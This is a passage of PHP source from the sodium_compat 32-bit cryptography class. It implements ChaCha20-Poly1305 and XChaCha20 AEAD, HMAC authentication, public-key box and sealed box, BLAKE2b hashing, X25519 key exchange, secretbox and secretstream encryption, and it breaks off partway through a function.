self::aead_chacha20poly1305_IETF_ABYTES
);
/** @var string $ciphertext - The encrypted message (sans MAC) */
$ciphertext = ParagonIE_Sodium_Core32_Util::substr(
$message,
0,
$len - self::aead_chacha20poly1305_IETF_ABYTES
);
/* Recalculate the Poly1305 authentication tag (MAC): */
$state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
try {
ParagonIE_Sodium_Compat::memzero($block0);
} catch (SodiumException $ex) {
$block0 = null;
}
$state->update($ad);
$state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
$state->update($ciphertext);
$state->update(str_repeat("\x00", (0x10 - $clen) & 0xf));
$state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
$state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen));
$computed_mac = $state->finish();
/* Compare the given MAC with the recalculated MAC: */
if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) {
throw new SodiumException('Invalid MAC');
}
// Here, we know that the MAC is valid, so we decrypt and return the plaintext
return ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
$ciphertext,
$nonce,
$key,
ParagonIE_Sodium_Core32_Util::store64_le(1)
);
}
/**
* AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $message
* @param string $ad
* @param string $nonce
* @param string $key
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function aead_chacha20poly1305_ietf_encrypt(
$message = '',
$ad = '',
$nonce = '',
$key = ''
) {
/** @var int $len - Length of the plaintext message */
$len = ParagonIE_Sodium_Core32_Util::strlen($message);
/** @var int $adlen - Length of the associated data */
$adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);
/** @var string The first block of the chacha20 keystream, used as a poly1305 key */
$block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream(
32,
$nonce,
$key
);
$state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
try {
ParagonIE_Sodium_Compat::memzero($block0);
} catch (SodiumException $ex) {
$block0 = null;
}
/** @var string $ciphertext - Raw encrypted data */
$ciphertext = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
$message,
$nonce,
$key,
ParagonIE_Sodium_Core32_Util::store64_le(1)
);
$state->update($ad);
$state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
$state->update($ciphertext);
$state->update(str_repeat("\x00", ((0x10 - $len) & 0xf)));
$state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
$state->update(ParagonIE_Sodium_Core32_Util::store64_le($len));
return $ciphertext . $state->finish();
}
/**
* AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $message
* @param string $ad
* @param string $nonce
* @param string $key
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function aead_xchacha20poly1305_ietf_decrypt(
$message = '',
$ad = '',
$nonce = '',
$key = ''
) {
$subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
$key
);
$nonceLast = "\x00\x00\x00\x00" .
ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);
return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey);
}
/**
* AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $message
* @param string $ad
* @param string $nonce
* @param string $key
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function aead_xchacha20poly1305_ietf_encrypt(
$message = '',
$ad = '',
$nonce = '',
$key = ''
) {
$subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
$key
);
$nonceLast = "\x00\x00\x00\x00" .
ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);
return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey);
}
/**
* HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512)
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $message
* @param string $key
* @return string
* @throws TypeError
*/
public static function auth($message, $key)
{
return ParagonIE_Sodium_Core32_Util::substr(
hash_hmac('sha512', $message, $key, true),
0,
32
);
}
/**
* HMAC-SHA-512-256 validation. Constant-time via hash_equals().
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $mac
* @param string $message
* @param string $key
* @return bool
* @throws SodiumException
* @throws TypeError
*/
public static function auth_verify($mac, $message, $key)
{
return ParagonIE_Sodium_Core32_Util::hashEquals(
$mac,
self::auth($message, $key)
);
}
/**
* X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $plaintext
* @param string $nonce
* @param string $keypair
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function box($plaintext, $nonce, $keypair)
{
return self::secretbox(
$plaintext,
$nonce,
self::box_beforenm(
self::box_secretkey($keypair),
self::box_publickey($keypair)
)
);
}
/**
* X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair.
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $message
* @param string $publicKey
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function box_seal($message, $publicKey)
{
/** @var string $ephemeralKeypair */
$ephemeralKeypair = self::box_keypair();
/** @var string $ephemeralSK */
$ephemeralSK = self::box_secretkey($ephemeralKeypair);
/** @var string $ephemeralPK */
$ephemeralPK = self::box_publickey($ephemeralKeypair);
/** @var string $nonce */
$nonce = self::generichash(
$ephemeralPK . $publicKey,
'',
24
);
/** @var string $keypair - The combined keypair used in crypto_box() */
$keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey);
/** @var string $ciphertext Ciphertext + MAC from crypto_box */
$ciphertext = self::box($message, $nonce, $keypair);
try {
ParagonIE_Sodium_Compat::memzero($ephemeralKeypair);
ParagonIE_Sodium_Compat::memzero($ephemeralSK);
ParagonIE_Sodium_Compat::memzero($nonce);
} catch (SodiumException $ex) {
$ephemeralKeypair = null;
$ephemeralSK = null;
$nonce = null;
}
return $ephemeralPK . $ciphertext;
}
/**
* Opens a message encrypted via box_seal().
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $message
* @param string $keypair
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function box_seal_open($message, $keypair)
{
/** @var string $ephemeralPK */
$ephemeralPK = ParagonIE_Sodium_Core32_Util::substr($message, 0, 32);
/** @var string $ciphertext (ciphertext + MAC) */
$ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 32);
/** @var string $secretKey */
$secretKey = self::box_secretkey($keypair);
/** @var string $publicKey */
$publicKey = self::box_publickey($keypair);
/** @var string $nonce */
$nonce = self::generichash(
$ephemeralPK . $publicKey,
'',
24
);
/** @var string $keypair */
$keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK);
/** @var string $m */
$m = self::box_open($ciphertext, $nonce, $keypair);
try {
ParagonIE_Sodium_Compat::memzero($secretKey);
ParagonIE_Sodium_Compat::memzero($ephemeralPK);
ParagonIE_Sodium_Compat::memzero($nonce);
} catch (SodiumException $ex) {
$secretKey = null;
$ephemeralPK = null;
$nonce = null;
}
return $m;
}
/**
* Used by crypto_box() to get the crypto_secretbox() key.
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $sk
* @param string $pk
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function box_beforenm($sk, $pk)
{
return ParagonIE_Sodium_Core32_HSalsa20::hsalsa20(
str_repeat("\x00", 16),
self::scalarmult($sk, $pk)
);
}
/**
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @return string
* @throws Exception
* @throws SodiumException
* @throws TypeError
*/
public static function box_keypair()
{
$sKey = random_bytes(32);
$pKey = self::scalarmult_base($sKey);
return $sKey . $pKey;
}
/**
* @param string $seed
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function box_seed_keypair($seed)
{
$sKey = ParagonIE_Sodium_Core32_Util::substr(
hash('sha512', $seed, true),
0,
32
);
$pKey = self::scalarmult_base($sKey);
return $sKey . $pKey;
}
/**
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $sKey
* @param string $pKey
* @return string
* @throws TypeError
*/
public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey)
{
return ParagonIE_Sodium_Core32_Util::substr($sKey, 0, 32) .
ParagonIE_Sodium_Core32_Util::substr($pKey, 0, 32);
}
/**
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $keypair
* @return string
* @throws RangeException
* @throws TypeError
*/
public static function box_secretkey($keypair)
{
if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== 64) {
throw new RangeException(
'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
);
}
return ParagonIE_Sodium_Core32_Util::substr($keypair, 0, 32);
}
/**
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $keypair
* @return string
* @throws RangeException
* @throws TypeError
*/
public static function box_publickey($keypair)
{
if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
throw new RangeException(
'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
);
}
return ParagonIE_Sodium_Core32_Util::substr($keypair, 32, 32);
}
/**
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $sKey
* @return string
* @throws RangeException
* @throws SodiumException
* @throws TypeError
*/
public static function box_publickey_from_secretkey($sKey)
{
if (ParagonIE_Sodium_Core32_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) {
throw new RangeException(
'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.'
);
}
return self::scalarmult_base($sKey);
}
/**
* Decrypt a message encrypted with box().
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $ciphertext
* @param string $nonce
* @param string $keypair
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function box_open($ciphertext, $nonce, $keypair)
{
return self::secretbox_open(
$ciphertext,
$nonce,
self::box_beforenm(
self::box_secretkey($keypair),
self::box_publickey($keypair)
)
);
}
/**
* Calculate a BLAKE2b hash.
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $message
* @param string|null $key
* @param int $outlen
* @return string
* @throws RangeException
* @throws SodiumException
* @throws TypeError
*/
public static function generichash($message, $key = '', $outlen = 32)
{
// This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();
$k = null;
if (!empty($key)) {
/** @var SplFixedArray $k */
$k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
throw new RangeException('Invalid key size');
}
}
/** @var SplFixedArray $in */
$in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message);
/** @var SplFixedArray $ctx */
$ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outlen);
ParagonIE_Sodium_Core32_BLAKE2b::update($ctx, $in, $in->count());
/** @var SplFixedArray $out */
$out = new SplFixedArray($outlen);
$out = ParagonIE_Sodium_Core32_BLAKE2b::finish($ctx, $out);
/** @var array<int, int> */
$outArray = $out->toArray();
return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray);
}
/**
* Finalize a BLAKE2b hashing context, returning the hash.
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $ctx
* @param int $outlen
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function generichash_final($ctx, $outlen = 32)
{
if (!is_string($ctx)) {
throw new TypeError('Context must be a string');
}
$out = new SplFixedArray($outlen);
/** @var SplFixedArray $context */
$context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx);
/** @var SplFixedArray $out */
$out = ParagonIE_Sodium_Core32_BLAKE2b::finish($context, $out);
/** @var array<int, int> */
$outArray = $out->toArray();
return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray);
}
/**
* Initialize a hashing context for BLAKE2b.
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $key
* @param int $outputLength
* @return string
* @throws RangeException
* @throws SodiumException
* @throws TypeError
*/
public static function generichash_init($key = '', $outputLength = 32)
{
// This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();
$k = null;
if (!empty($key)) {
$k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
throw new RangeException('Invalid key size');
}
}
/** @var SplFixedArray $ctx */
$ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength);
return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx);
}
/**
* Initialize a hashing context for BLAKE2b.
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $key
* @param int $outputLength
* @param string $salt
* @param string $personal
* @return string
* @throws RangeException
* @throws SodiumException
* @throws TypeError
*/
public static function generichash_init_salt_personal(
$key = '',
$outputLength = 32,
$salt = '',
$personal = ''
) {
// This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();
$k = null;
if (!empty($key)) {
$k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
throw new RangeException('Invalid key size');
}
}
if (!empty($salt)) {
$s = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($salt);
} else {
$s = null;
}
if (!empty($salt)) {
$p = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($personal);
} else {
$p = null;
}
/** @var SplFixedArray $ctx */
$ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength, $s, $p);
return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx);
}
/**
* Update a hashing context for BLAKE2b with $message
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $ctx
* @param string $message
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function generichash_update($ctx, $message)
{
// This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();
/** @var SplFixedArray $context */
$context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx);
/** @var SplFixedArray $in */
$in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message);
ParagonIE_Sodium_Core32_BLAKE2b::update($context, $in, $in->count());
return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($context);
}
/**
* Libsodium's crypto_kx().
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $my_sk
* @param string $their_pk
* @param string $client_pk
* @param string $server_pk
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk)
{
return self::generichash(
self::scalarmult($my_sk, $their_pk) .
$client_pk .
$server_pk
);
}
/**
* ECDH over Curve25519
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $sKey
* @param string $pKey
* @return string
*
* @throws SodiumException
* @throws TypeError
*/
public static function scalarmult($sKey, $pKey)
{
$q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey);
self::scalarmult_throw_if_zero($q);
return $q;
}
/**
* ECDH over Curve25519, using the basepoint.
* Used to get a secret key from a public key.
*
* @param string $secret
* @return string
*
* @throws SodiumException
* @throws TypeError
*/
public static function scalarmult_base($secret)
{
$q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10_base($secret);
self::scalarmult_throw_if_zero($q);
return $q;
}
/**
* This throws an Error if a zero public key was passed to the function.
*
* @param string $q
* @return void
* @throws SodiumException
* @throws TypeError
*/
protected static function scalarmult_throw_if_zero($q)
{
$d = 0;
for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) {
$d |= ParagonIE_Sodium_Core32_Util::chrToInt($q[$i]);
}
/* branch-free variant of === 0 */
if (-(1 & (($d - 1) >> 8))) {
throw new SodiumException('Zero public key is not allowed');
}
}
/**
* XSalsa20-Poly1305 authenticated symmetric-key encryption.
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $plaintext
* @param string $nonce
* @param string $key
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function secretbox($plaintext, $nonce, $key)
{
/** @var string $subkey */
$subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);
/** @var string $block0 */
$block0 = str_repeat("\x00", 32);
/** @var int $mlen - Length of the plaintext message */
$mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext);
$mlen0 = $mlen;
if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) {
$mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES;
}
$block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);
/** @var string $block0 */
$block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
$block0,
ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
$subkey
);
/** @var string $c */
$c = ParagonIE_Sodium_Core32_Util::substr(
$block0,
self::secretbox_xsalsa20poly1305_ZEROBYTES
);
if ($mlen > $mlen0) {
$c .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
ParagonIE_Sodium_Core32_Util::substr(
$plaintext,
self::secretbox_xsalsa20poly1305_ZEROBYTES
),
ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
1,
$subkey
);
}
$state = new ParagonIE_Sodium_Core32_Poly1305_State(
ParagonIE_Sodium_Core32_Util::substr(
$block0,
0,
self::onetimeauth_poly1305_KEYBYTES
)
);
try {
ParagonIE_Sodium_Compat::memzero($block0);
ParagonIE_Sodium_Compat::memzero($subkey);
} catch (SodiumException $ex) {
$block0 = null;
$subkey = null;
}
$state->update($c);
/** @var string $c - MAC || ciphertext */
$c = $state->finish() . $c;
unset($state);
return $c;
}
/**
* Decrypt a ciphertext generated via secretbox().
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $ciphertext
* @param string $nonce
* @param string $key
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function secretbox_open($ciphertext, $nonce, $key)
{
/** @var string $mac */
$mac = ParagonIE_Sodium_Core32_Util::substr(
$ciphertext,
0,
self::secretbox_xsalsa20poly1305_MACBYTES
);
/** @var string $c */
$c = ParagonIE_Sodium_Core32_Util::substr(
$ciphertext,
self::secretbox_xsalsa20poly1305_MACBYTES
);
/** @var int $clen */
$clen = ParagonIE_Sodium_Core32_Util::strlen($c);
/** @var string $subkey */
$subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);
/** @var string $block0 */
$block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
64,
ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
$subkey
);
$verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify(
$mac,
$c,
ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32)
);
if (!$verified) {
try {
ParagonIE_Sodium_Compat::memzero($subkey);
} catch (SodiumException $ex) {
$subkey = null;
}
throw new SodiumException('Invalid MAC');
}
/** @var string $m - Decrypted message */
$m = ParagonIE_Sodium_Core32_Util::xorStrings(
ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES),
ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES)
);
if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) {
// We had more than 1 block, so let's continue to decrypt the rest.
$m .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
ParagonIE_Sodium_Core32_Util::substr(
$c,
self::secretbox_xsalsa20poly1305_ZEROBYTES
),
ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
1,
(string) $subkey
);
}
return $m;
}
/**
* XChaCha20-Poly1305 authenticated symmetric-key encryption.
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $plaintext
* @param string $nonce
* @param string $key
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key)
{
/** @var string $subkey */
$subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
$key
);
$nonceLast = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);
/** @var string $block0 */
$block0 = str_repeat("\x00", 32);
/** @var int $mlen - Length of the plaintext message */
$mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext);
$mlen0 = $mlen;
if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) {
$mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES;
}
$block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);
/** @var string $block0 */
$block0 = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
$block0,
$nonceLast,
$subkey
);
/** @var string $c */
$c = ParagonIE_Sodium_Core32_Util::substr(
$block0,
self::secretbox_xchacha20poly1305_ZEROBYTES
);
if ($mlen > $mlen0) {
$c .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
ParagonIE_Sodium_Core32_Util::substr(
$plaintext,
self::secretbox_xchacha20poly1305_ZEROBYTES
),
$nonceLast,
$subkey,
ParagonIE_Sodium_Core32_Util::store64_le(1)
);
}
$state = new ParagonIE_Sodium_Core32_Poly1305_State(
ParagonIE_Sodium_Core32_Util::substr(
$block0,
0,
self::onetimeauth_poly1305_KEYBYTES
)
);
try {
ParagonIE_Sodium_Compat::memzero($block0);
ParagonIE_Sodium_Compat::memzero($subkey);
} catch (SodiumException $ex) {
$block0 = null;
$subkey = null;
}
$state->update($c);
/** @var string $c - MAC || ciphertext */
$c = $state->finish() . $c;
unset($state);
return $c;
}
/**
* Decrypt a ciphertext generated via secretbox_xchacha20poly1305().
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $ciphertext
* @param string $nonce
* @param string $key
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
{
/** @var string $mac */
$mac = ParagonIE_Sodium_Core32_Util::substr(
$ciphertext,
0,
self::secretbox_xchacha20poly1305_MACBYTES
);
/** @var string $c */
$c = ParagonIE_Sodium_Core32_Util::substr(
$ciphertext,
self::secretbox_xchacha20poly1305_MACBYTES
);
/** @var int $clen */
$clen = ParagonIE_Sodium_Core32_Util::strlen($c);
/** @var string $subkey */
$subkey = ParagonIE_Sodium_Core32_HChaCha20::hchacha20($nonce, $key);
/** @var string $block0 */
$block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
64,
ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
$subkey
);
$verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify(
$mac,
$c,
ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32)
);
if (!$verified) {
try {
ParagonIE_Sodium_Compat::memzero($subkey);
} catch (SodiumException $ex) {
$subkey = null;
}
throw new SodiumException('Invalid MAC');
}
/** @var string $m - Decrypted message */
$m = ParagonIE_Sodium_Core32_Util::xorStrings(
ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES),
ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES)
);
if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) {
// We had more than 1 block, so let's continue to decrypt the rest.
$m .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
ParagonIE_Sodium_Core32_Util::substr(
$c,
self::secretbox_xchacha20poly1305_ZEROBYTES
),
ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
(string) $subkey,
ParagonIE_Sodium_Core32_Util::store64_le(1)
);
}
return $m;
}
/**
* @param string $key
* @return array<int, string> Returns a state and a header.
* @throws Exception
* @throws SodiumException
*/
public static function secretstream_xchacha20poly1305_init_push($key)
{
# randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES);
$out = random_bytes(24);
# crypto_core_hchacha20(state->k, out, k, NULL);
$subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20($out, $key);
$state = new ParagonIE_Sodium_Core32_SecretStream_State(
$subkey,
ParagonIE_Sodium_Core32_Util::substr($out, 16, 8) . str_repeat("\0", 4)
);
# _crypto_secretstream_xchacha20poly1305_counter_reset(state);
$state->counterReset();
# memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES,
# crypto_secretstream_xchacha20poly1305_INONCEBYTES);
# memset(state->_pad, 0, sizeof state->_pad);
return array(
$state->toString(),
$out
);
}
/**
* @param string $key
* @param string $header
* @return string Returns a state.
* @throws Exception
*/
public static function secretstream_xchacha20poly1305_init_pull($key, $header)
{
# crypto_core_hchacha20(state->k, in, k, NULL);
$subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
ParagonIE_Sodium_Core32_Util::substr($header, 0, 16),
$key
);
$state = new ParagonIE_Sodium_Core32_SecretStream_State(
$subkey,
ParagonIE_Sodium_Core32_Util::substr($header, 16)
);
$state->counterReset();
# memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES,
# crypto_secretstream_xchacha20poly1305_INONCEBYTES);
# memset(state->_pad, 0, sizeof state->_pad);
# return 0;
return $state->toString();
}
/**
* @param string $state
* @param string $msg
* @param string $aad
* @param int $tag
* @return string
* @throws SodiumException
*/
public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0)
{
$st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);
# crypto_onetimeauth_poly1305_state poly1305_state;
# unsigned char block[64U];
# unsigned char slen[8U];
# unsigned char *c;
# unsigned char *mac;
$msglen = ParagonIE_Sodium_Core32_Util::strlen($msg);
$aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad);
if ((($msglen + 63) >> 6) > 0xfffffffe) {
throw new SodiumException(
'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
);
}
# if (outlen_p != NULL) {
# *outlen_p = 0U;
# }
# if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
# sodium_misuse();
# }
# crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
# crypto_onetimeauth_poly1305_init(&poly1305_state, block);
# sodium_memzero(block, sizeof block);
$auth = new ParagonIE_Sodium_Core32_Poly1305_State(
ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
);
# crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
$auth->update($aad);
# crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
# (0x10 - adlen) & 0xf);
$auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));
# memset(block, 0, sizeof block);
# block[0] = tag;
# crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
# state->nonce, 1U, state->k);
$block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
ParagonIE_Sodium_Core32_Util::intToChr($tag) . str_repeat("\0", 63),
$st->getCombinedNonce(),
$st->getKey(),
ParagonIE_Sodium_Core32_Util::store64_le(1)
);
# crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
$auth->update($block);
# out[0] = block[0];
$out = $block[0];
# c = out + (sizeof tag);
# crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k);
$cipher = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
$msg,
$st->getCombinedNonce(),
$st->getKey(),
ParagonIE_Sodium_Core32_Util::store64_le(2)
);
# crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
$auth->update($cipher);
$out .= $cipher;
unset($cipher);
# crypto_onetimeauth_poly1305_update
# (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
$auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));
# STORE64_LE(slen, (uint64_t) adlen);
$slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen);
# crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
$auth->update($slen);
# STORE64_LE(slen, (sizeof block) + mlen);
$slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen);
# crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
$auth->update($slen);
# mac = c + mlen;
# crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
$mac = $auth->finish();
$out .= $mac;
# sodium_memzero(&poly1305_state, sizeof poly1305_state);
unset($auth);
# XOR_BUF(STATE_INONCE(state), mac,
